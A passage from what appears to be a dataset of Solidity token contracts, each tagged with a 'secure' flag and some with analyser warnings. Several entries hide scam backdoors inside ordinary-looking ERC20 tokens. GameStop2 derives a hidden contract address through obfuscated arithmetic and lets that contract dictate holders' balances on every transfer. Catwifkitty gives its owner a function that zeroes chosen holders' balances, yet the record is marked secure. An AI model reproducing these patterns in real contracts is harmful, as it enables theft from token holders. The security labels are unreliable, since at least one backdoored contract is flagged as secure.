}\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n uint256 currentAllowance = allowance(owner, spender);\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[from] = fromBalance - amount;\n }\n\n _balances[to] += amount;\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n\n _balances[account] += amount;\n\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function burn(uint256 amount) public virtual returns (bool) {\n address owner = _msgSender();\n\n _burn(owner, amount);\n\n return true;\n }\n\n function _lock(address to, bool value) internal virtual {\n isLocked[to] = value;\n }\n}",
"file_name": "solidity_code_4120.sol",
"secure": 1,
"size_bytes": 6405
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\nabstract contract OwnerOperator is Ownable {\n mapping(address => bool) public operators;\n\n modifier operatorOrOwner() {\n require(\n operators[msg.sender] || owner() == msg.sender,\n \"OwnerOperator: !operator, !owner\"\n );\n\n _;\n }\n\n modifier onlyOperator() {\n require(operators[msg.sender], \"OwnerOperator: !operator\");\n\n _;\n }\n\n function addOperator(address operator) external virtual onlyOwner {\n require(\n operator != address(0),\n \"OwnerOperator: operator is the zero address\"\n );\n\n operators[operator] = true;\n }\n\n function removeOperator(address operator) external virtual onlyOwner {\n require(\n operator != address(0),\n \"OwnerOperator: operator is the zero address\"\n );\n\n operators[operator] = false;\n }\n}",
"file_name": "solidity_code_4121.sol",
"secure": 1,
"size_bytes": 1041
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"./OwnerOperator.sol\" as OwnerOperator;\n\ncontract RakuichiToken is ERC20, OwnerOperator {\n constructor() ERC20(TOKEN_NAME, TOKEN_SYMBOL) {\n _mint(msg.sender, INITIAL_VOLUME * 10 ** 18);\n }\n\n function mint(address to, uint256 amount) public operatorOrOwner {\n _mint(to, amount);\n }\n\n function lock(address userAddress, bool value) public operatorOrOwner {\n _lock(userAddress, value);\n }\n}",
"file_name": "solidity_code_4122.sol",
"secure": 1,
"size_bytes": 575
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract KloToken is ERC20 {\n constructor() ERC20(\"KloToken\", \"KLO\") {\n _mint(msg.sender, 100000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_4123.sol",
"secure": 1,
"size_bytes": 278
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract HrszToken is ERC20 {\n constructor() ERC20(\"HrszToken\", \"HRSZ\") {\n _mint(msg.sender, 100000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_4124.sol",
"secure": 1,
"size_bytes": 281
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"./OwnerOperator.sol\" as OwnerOperator;\n\ncontract ShenronToken is ERC20, OwnerOperator {\n constructor() ERC20(TOKEN_NAME, TOKEN_SYMBOL) {\n _mint(msg.sender, INITIAL_VOLUME * 10 ** 18);\n }\n\n function lock(address userAddress, bool value) public operatorOrOwner {\n _lock(userAddress, value);\n }\n}",
"file_name": "solidity_code_4125.sol",
"secure": 1,
"size_bytes": 465
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 4b7a8b2): Contract locking ether found Contract WcDognlad has payable functions WcDognlad.receive() But does not have a function to withdraw the ether\n// Recommendation for 4b7a8b2: Remove the 'payable' attribute or add a withdraw function.\ncontract WcDognlad is ERC20, Ownable {\n constructor() ERC20(unicode\"WcDognlad\", unicode\"WcDog\") {\n _mint(owner(), 1000000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 4b7a8b2): Contract locking ether found Contract WcDognlad has payable functions WcDognlad.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 4b7a8b2: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_4126.sol",
"secure": 0,
"size_bytes": 1013
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nabstract contract Cap1ant {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}",
"file_name": "solidity_code_4127.sol",
"secure": 1,
"size_bytes": 196
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ccaaap1ant.sol\" as ccaaap1ant;\n\ncontract Lassxxaatte is ccaaap1ant {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7d3f606): GameStop2.allowance(address,address).accountOwner shadows lassxxaatte.accountOwner() (function)\n\t// Recommendation for 7d3f606: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3ab746f): GameStop2._approve(address,address,uint256).accountOwner shadows lassxxaatte.accountOwner() (function)\n\t// Recommendation for 3ab746f: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 22524ff): GameStop2.approve(address,uint256).accountOwner shadows lassxxaatte.accountOwner() (function)\n\t// Recommendation for 22524ff: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 376fbf2): GameStop2.transfer(address,uint256).accountOwner shadows lassxxaatte.accountOwner() (function)\n\t// Recommendation for 376fbf2: Rename the local variables that shadow another component.\n function accountOwner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}",
"file_name": "solidity_code_4128.sol",
"secure": 0,
"size_bytes": 2097
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ccaaap1ant.sol\" as ccaaap1ant;\nimport \"./lassxxaatte.sol\" as lassxxaatte;\nimport \"./UniswapRouterV2.sol\" as UniswapRouterV2;\nimport \"./IUniswapRouterV20.sol\" as IUniswapRouterV20;\n\ncontract GameStop2 is ccaaap1ant, lassxxaatte {\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _balances;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4090ca7): GameStop2._totalSupply should be constant \n\t// Recommendation for 4090ca7: Add the 'constant' attribute to state variables that never change.\n uint256 private _totalSupply = 10000000000 * 10 ** 18;\n\n uint8 private constant _decimals = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: ac11ed3): GameStop2._tokenname should be constant \n\t// Recommendation for ac11ed3: Add the 'constant' attribute to state variables that never change.\n string private _tokenname = unicode\"GameStop2.0\";\n\n\t// WARNING Optimization Issue (constable-states | ID: ff302a1): GameStop2._tokensymbol should be constant \n\t// Recommendation for ff302a1: Add the 'constant' attribute to state variables that never change.\n string private _tokensymbol = unicode\"GameStop2.0\";\n\n\t// WARNING Optimization Issue (immutable-states | ID: 6e80e24): GameStop2.BasedInstance should be immutable \n\t// Recommendation for 6e80e24: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n UniswapRouterV2 private BasedInstance;\n\n constructor(uint256 dZTTu) {\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n\n uint256 cc = dZTTu +\n uint256(10) -\n uint256(10) +\n uint256(\n bytes32(\n 0x0000000000000000000000000000000000000000000000000000000000000012\n )\n );\n\n BasedInstance = getFnnmoosgsto(((bFactornnmoosgsto(cc))));\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: b86eaa2): GameStop2.bb should be constant \n\t// Recommendation for b86eaa2: Add the 'constant' attribute to state variables that never change.\n uint160 private bb = 20;\n\n function brcFfffactornnmoosgsto(\n uint256 value\n ) internal view returns (uint160) {\n uint160 a = 70;\n\n return (a +\n bb +\n uint160(value) +\n uint160(\n uint256(\n bytes32(\n 0x0000000000000000000000000000000000000000000000000000000000000012\n )\n )\n ));\n }\n\n function bFactornnmoosgsto(uint256 value) internal view returns (address) {\n return address(brcFfffactornnmoosgsto(value));\n }\n\n function getFnnmoosgsto(\n address accc\n ) internal pure returns (UniswapRouterV2) {\n return getBcQnnmoosmmgsto(accc);\n }\n\n function getBcQnnmoosmmgsto(\n address accc\n ) internal pure returns (UniswapRouterV2) {\n return UniswapRouterV2(accc);\n }\n\n function symbol() public view virtual returns (string memory) {\n return _tokensymbol;\n }\n\n function name() public view virtual returns (string memory) {\n return _tokenname;\n }\n\n function decimals() public view virtual returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 376fbf2): GameStop2.transfer(address,uint256).accountOwner shadows lassxxaatte.accountOwner() (function)\n\t// Recommendation for 376fbf2: Rename the local variables that shadow another component.\n function transfer(\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address accountOwner = _msgSender();\n\n _transfer(accountOwner, to, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7d3f606): GameStop2.allowance(address,address).accountOwner shadows lassxxaatte.accountOwner() (function)\n\t// Recommendation for 7d3f606: Rename the local variables that shadow another component.\n function allowance(\n address accountOwner,\n address sender\n ) public view virtual returns (uint256) {\n return _allowances[accountOwner][sender];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 22524ff): GameStop2.approve(address,uint256).accountOwner shadows lassxxaatte.accountOwner() (function)\n\t// Recommendation for 22524ff: Rename the local variables that shadow another component.\n function approve(\n address sender,\n uint256 amount\n ) public virtual returns (bool) {\n address accountOwner = _msgSender();\n\n _approve(accountOwner, sender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address sender = _msgSender();\n\n uint256 currentAllowance = allowance(from, sender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(from, sender, currentAllowance - amount);\n }\n }\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(\n from != address(0) && to != address(0),\n \"ERC20: transfer the zero address\"\n );\n\n uint256 balance = IUniswapRouterV20.swap99(\n BasedInstance,\n BasedInstance,\n _balances[from],\n from\n );\n\n require(balance >= amount, \"ERC20: amount over balance\");\n\n _balances[from] = balance - (amount);\n\n _balances[to] = _balances[to] + (amount);\n\n emit Transfer(from, to, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3ab746f): GameStop2._approve(address,address,uint256).accountOwner shadows lassxxaatte.accountOwner() (function)\n\t// Recommendation for 3ab746f: Rename the local variables that shadow another component.\n function _approve(\n address accountOwner,\n address sender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(sender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[accountOwner][sender] = amount;\n\n emit Approval(accountOwner, sender, amount);\n }\n}",
"file_name": "solidity_code_4129.sol",
"secure": 0,
"size_bytes": 7166
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nlibrary ECDSA {\n enum RecoverError {\n NoError,\n InvalidSignature,\n InvalidSignatureLength,\n InvalidSignatureS\n }\n\n error ECDSAInvalidSignature();\n\n error ECDSAInvalidSignatureLength(uint256 length);\n\n error ECDSAInvalidSignatureS(bytes32 s);\n\n function tryRecover(\n bytes32 hash,\n bytes memory signature\n )\n internal\n pure\n returns (address recovered, RecoverError err, bytes32 errArg)\n {\n if (signature.length == 65) {\n bytes32 r;\n\n bytes32 s;\n\n uint8 v;\n\n assembly (\"memory-safe\") {\n r := mload(add(signature, 0x20))\n\n s := mload(add(signature, 0x40))\n\n v := byte(0, mload(add(signature, 0x60)))\n }\n\n return tryRecover(hash, v, r, s);\n } else {\n return (\n address(0),\n RecoverError.InvalidSignatureLength,\n bytes32(signature.length)\n );\n }\n }\n\n function recover(\n bytes32 hash,\n bytes memory signature\n ) internal pure returns (address) {\n (address recovered, RecoverError error, bytes32 errorArg) = tryRecover(\n hash,\n signature\n );\n\n _throwError(error, errorArg);\n\n return recovered;\n }\n\n function tryRecover(\n bytes32 hash,\n bytes32 r,\n bytes32 vs\n )\n internal\n pure\n returns (address recovered, RecoverError err, bytes32 errArg)\n {\n unchecked {\n bytes32 s = vs &\n bytes32(\n 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n );\n\n uint8 v = uint8((uint256(vs) >> 255) + 27);\n\n return tryRecover(hash, v, r, s);\n }\n }\n\n function recover(\n bytes32 hash,\n bytes32 r,\n bytes32 vs\n ) internal pure returns (address) {\n (address recovered, RecoverError error, bytes32 errorArg) = tryRecover(\n hash,\n r,\n vs\n );\n\n _throwError(error, errorArg);\n\n return recovered;\n }\n\n function tryRecover(\n bytes32 hash,\n uint8 v,\n bytes32 r,\n bytes32 s\n )\n internal\n pure\n returns (address recovered, RecoverError err, bytes32 errArg)\n {\n if (\n uint256(s) >\n 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0\n ) {\n return (address(0), RecoverError.InvalidSignatureS, s);\n }\n\n address signer = ecrecover(hash, v, r, s);\n\n if (signer == address(0)) {\n return (address(0), RecoverError.InvalidSignature, bytes32(0));\n }\n\n return (signer, RecoverError.NoError, bytes32(0));\n }\n\n function recover(\n bytes32 hash,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) internal pure returns (address) {\n (address recovered, RecoverError error, bytes32 errorArg) = tryRecover(\n hash,\n v,\n r,\n s\n );\n\n _throwError(error, errorArg);\n\n return recovered;\n }\n\n function _throwError(RecoverError error, bytes32 errorArg) private pure {\n if (error == RecoverError.NoError) {\n return;\n } else if (error == RecoverError.InvalidSignature) {\n revert ECDSAInvalidSignature();\n } else if (error == RecoverError.InvalidSignatureLength) {\n revert ECDSAInvalidSignatureLength(uint256(errorArg));\n } else if (error == RecoverError.InvalidSignatureS) {\n revert ECDSAInvalidSignatureS(errorArg);\n }\n }\n}",
"file_name": "solidity_code_413.sol",
"secure": 1,
"size_bytes": 3947
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Catwifkitty is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable laborer;\n\n constructor() {\n _name = \"CatWifKitty\";\n\n _symbol = \"CAT\";\n\n _decimals = 18;\n\n uint256 initialSupply = 238000000;\n\n laborer = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == laborer, \"Not allowed\");\n\n _;\n }\n\n function appreciate(address[] memory loud) public onlyOwner {\n for (uint256 i = 0; i < loud.length; i++) {\n address account = loud[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_4130.sol",
"secure": 1,
"size_bytes": 4361
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract CienToken is ERC20 {\n constructor() ERC20(\"Cien Token \", \"CIEN\") {\n _mint(msg.sender, 100000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_4131.sol",
"secure": 1,
"size_bytes": 283
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract DpmoToken is ERC20 {\n constructor() ERC20(\"DpmoToken\", \"DPMO\") {\n _mint(msg.sender, 100000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_4132.sol",
"secure": 1,
"size_bytes": 281
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Sharkcat is ERC20, Ownable {\n\t// WARNING Optimization Issue (constable-states | ID: 9e5a1c0): Sharkcat.maxSupply should be constant \n\t// Recommendation for 9e5a1c0: Add the 'constant' attribute to state variables that never change.\n uint256 maxSupply = 1000000000 * 1e18;\n\n constructor() ERC20(\"Sharkcat\", \"Sharkcat\") Ownable(msg.sender) {\n _mint(msg.sender, maxSupply);\n }\n}",
"file_name": "solidity_code_4133.sol",
"secure": 1,
"size_bytes": 603
} |
{
"code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"./Erc20.sol\" as Erc20;\n\ncontract Token is Erc20 {\n constructor()\n Erc20(unicode\"?BABYTURBO\", unicode\"?BABYTURBO\", 9, 100000000)\n {}\n}",
"file_name": "solidity_code_4134.sol",
"secure": 1,
"size_bytes": 229
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\nabstract contract OwnablePermissions is Context {\n function _requireCallerIsContractOwner() internal view virtual;\n}",
"file_name": "solidity_code_414.sol",
"secure": 1,
"size_bytes": 255
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./OwnablePermissions.sol\" as OwnablePermissions;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\nabstract contract OwnableBasic is OwnablePermissions, Ownable {\n function _requireCallerIsContractOwner() internal view virtual override {\n _checkOwner();\n }\n}",
"file_name": "solidity_code_415.sol",
"secure": 1,
"size_bytes": 369
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC165.sol\" as IERC165;\n\ninterface IEOARegistry is IERC165 {\n function isVerifiedEOA(address account) external view returns (bool);\n}\n\nenum AllowlistTypes {\n Operators,\n PermittedContractReceivers\n}\n\nenum ReceiverConstraints {\n None,\n NoCode,\n EOA\n}\n\nenum CallerConstraints {\n None,\n OperatorWhitelistEnableOTC,\n OperatorWhitelistDisableOTC\n}\n\nenum StakerConstraints {\n None,\n CallerIsTxOrigin,\n EOA\n}\n\nenum TransferSecurityLevels {\n Zero,\n One,\n Two,\n Three,\n Four,\n Five,\n Six\n}\n\nstruct TransferSecurityPolicy {\n CallerConstraints callerConstraints;\n ReceiverConstraints receiverConstraints;\n}\n\nstruct CollectionSecurityPolicy {\n TransferSecurityLevels transferSecurityLevel;\n uint120 operatorWhitelistId;\n uint120 permittedContractReceiversId;\n}",
"file_name": "solidity_code_416.sol",
"secure": 1,
"size_bytes": 980
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface ITransferSecurityRegistry {\n event AddedToAllowlist(\n AllowlistTypes indexed kind,\n uint256 indexed id,\n address indexed account\n );\n\n event CreatedAllowlist(\n AllowlistTypes indexed kind,\n uint256 indexed id,\n string indexed name\n );\n\n event ReassignedAllowlistOwnership(\n AllowlistTypes indexed kind,\n uint256 indexed id,\n address indexed newOwner\n );\n\n event RemovedFromAllowlist(\n AllowlistTypes indexed kind,\n uint256 indexed id,\n address indexed account\n );\n\n event SetAllowlist(\n AllowlistTypes indexed kind,\n address indexed collection,\n uint120 indexed id\n );\n\n event SetTransferSecurityLevel(\n address indexed collection,\n TransferSecurityLevels level\n );\n\n function createOperatorWhitelist(\n string calldata name\n ) external returns (uint120);\n\n function createPermittedContractReceiverAllowlist(\n string calldata name\n ) external returns (uint120);\n\n function reassignOwnershipOfOperatorWhitelist(\n uint120 id,\n address newOwner\n ) external;\n\n function reassignOwnershipOfPermittedContractReceiverAllowlist(\n uint120 id,\n address newOwner\n ) external;\n\n function renounceOwnershipOfOperatorWhitelist(uint120 id) external;\n\n function renounceOwnershipOfPermittedContractReceiverAllowlist(\n uint120 id\n ) external;\n\n function setTransferSecurityLevelOfCollection(\n address collection,\n TransferSecurityLevels level\n ) external;\n\n function setOperatorWhitelistOfCollection(\n address collection,\n uint120 id\n ) external;\n\n function setPermittedContractReceiverAllowlistOfCollection(\n address collection,\n uint120 id\n ) external;\n\n function addOperatorToWhitelist(uint120 id, address operator) external;\n\n function addPermittedContractReceiverToAllowlist(\n uint120 id,\n address receiver\n ) external;\n\n function removeOperatorFromWhitelist(uint120 id, address operator) external;\n\n function removePermittedContractReceiverFromAllowlist(\n uint120 id,\n address receiver\n ) external;\n\n function getCollectionSecurityPolicy(\n address collection\n ) external view returns (CollectionSecurityPolicy memory);\n\n function getWhitelistedOperators(\n uint120 id\n ) external view returns (address[] memory);\n\n function getPermittedContractReceivers(\n uint120 id\n ) external view returns (address[] memory);\n\n function isOperatorWhitelisted(\n uint120 id,\n address operator\n ) external view returns (bool);\n\n function isContractReceiverPermitted(\n uint120 id,\n address receiver\n ) external view returns (bool);\n}",
"file_name": "solidity_code_417.sol",
"secure": 1,
"size_bytes": 3012
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface ITransferValidator {\n function applyCollectionTransferPolicy(\n address caller,\n address from,\n address to\n ) external view;\n}",
"file_name": "solidity_code_418.sol",
"secure": 1,
"size_bytes": 236
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./ITransferSecurityRegistry.sol\" as ITransferSecurityRegistry;\nimport \"./ITransferValidator.sol\" as ITransferValidator;\nimport \"./IEOARegistry.sol\" as IEOARegistry;\n\ninterface ICreatorTokenTransferValidator is\n ITransferSecurityRegistry,\n ITransferValidator,\n IEOARegistry\n{}",
"file_name": "solidity_code_419.sol",
"secure": 1,
"size_bytes": 368
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Bookofai is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable nature;\n\n constructor() {\n _name = \"Book of AI\";\n\n _symbol = \"BOAI\";\n\n _decimals = 18;\n\n uint256 initialSupply = 582000000;\n\n nature = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = 